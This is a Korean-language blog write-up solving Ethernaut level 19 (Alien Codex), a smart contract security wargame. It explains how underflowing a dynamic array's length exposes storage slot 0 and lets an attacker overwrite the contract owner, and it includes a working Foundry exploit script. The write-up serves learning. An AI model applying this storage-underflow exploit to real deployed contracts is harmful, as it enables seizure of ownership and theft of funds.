The Ethernaut - 19. Alien Codex

Gunter·2024년 10월 30일
0

The Ethernaut

목록 보기
20/26

You've uncovered an Alien contract. Claim ownership to complete the level.

Things that might help

Understanding how array storage works
Understanding ABI specifications
Using a very underhanded approach

 


 

어.. 뭔가 어떻게 접근해야 할 지 잘 모르겠어서 좀 찾아봤다

전에 있던 문제들처럼 흔히 owner를 탈취하는게 목적인데 어떻게 익스해야 하나 많이 고민함

 

 



그치만 구글링은 신이랍니다

 

열심히 찾아보고 열심히 정리해봄

 

문제 이해

문제 컨트랙트 상태 변수 살펴보기
owner : 현재 컨트랙트 소유자의 주소를 저장하는 변수. 슬롯 0에 저장
codex : 동적 배열, 배열의 길이는 슬롯1에 저장. 실제 배열의 데이터는 keccack256(1) 위치부터 시작

-> solidity에선 각 상태 변수를 저장할 슬롯을 할당함. 동적 배열(codex)의 경우 배열 길이는 codex의 슬롯에 저장되고, 데이터는 keccak256 해시를 통해 별도의 위치에 저장

 

취약점 접근

저장소 슬롯 구조

  • 슬롯 0: owner 변수의 주소가 저장되는 슬롯
  • 슬롯 1: codex 배열의 길이가 저장되는 슬롯
  • 슬롯 keccak256(1): codex 배열의 첫 번째 요소가 시작되는 위치

 
retract() 함수는 배열의 길이를 줄이는 기능을 하는 것 같지만, 여기서 길이를 2^256 - 1로 설정할 수 있음.
이 값은 Solidity에서 지원하는 최대 크기이므로 codex 배열이 거의 모든 저장소 슬롯을 덮을 수 있는 상태로 됨!

배열의 길이를 이렇게 확장하면, codex 배열의 요소로 슬롯 0(즉, owner가 있는 위치)에도 접근할 수 있음

 

페이로드

retract() 함수를 호출해 codex 배열의 길이를 2^256 -1 로 설정
-> 이를 통해서 배열의 인덱스를 조작할 수 있는 상태가 됨

계산한 인덱스를 revise함수에 전달해, owner 변수가 위치한 슬롯에 접근

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
interface AlienCodex {
    function makeContact() external;
    function retract() external;
    function revise(uint i, bytes32 _content) external;
}
contract POC is Script{

    function run() external {
        vm.startBroadcast(vm.envUint("user_private_key"));
        AlienCodex target = AlienCodex(0x0F4D37cEa6675450a95CDc69cF20156c5d15f0Fd);
        target.makeContact();
        target.retract();
        uint index = ((2 ** 256) - 1) - uint(keccak256(abi.encode(1))) + 1;
        bytes32 myAddress = bytes32(uint256(uint160(tx.origin)));
        target.revise(index, myAddress);
        vm.stopBroadcast();
    }
}


따봉은 날리고 있지만 저 떨떠름한 미소... 문제가 어려웠던 나를 대변해주고 잇어....

0개의 댓글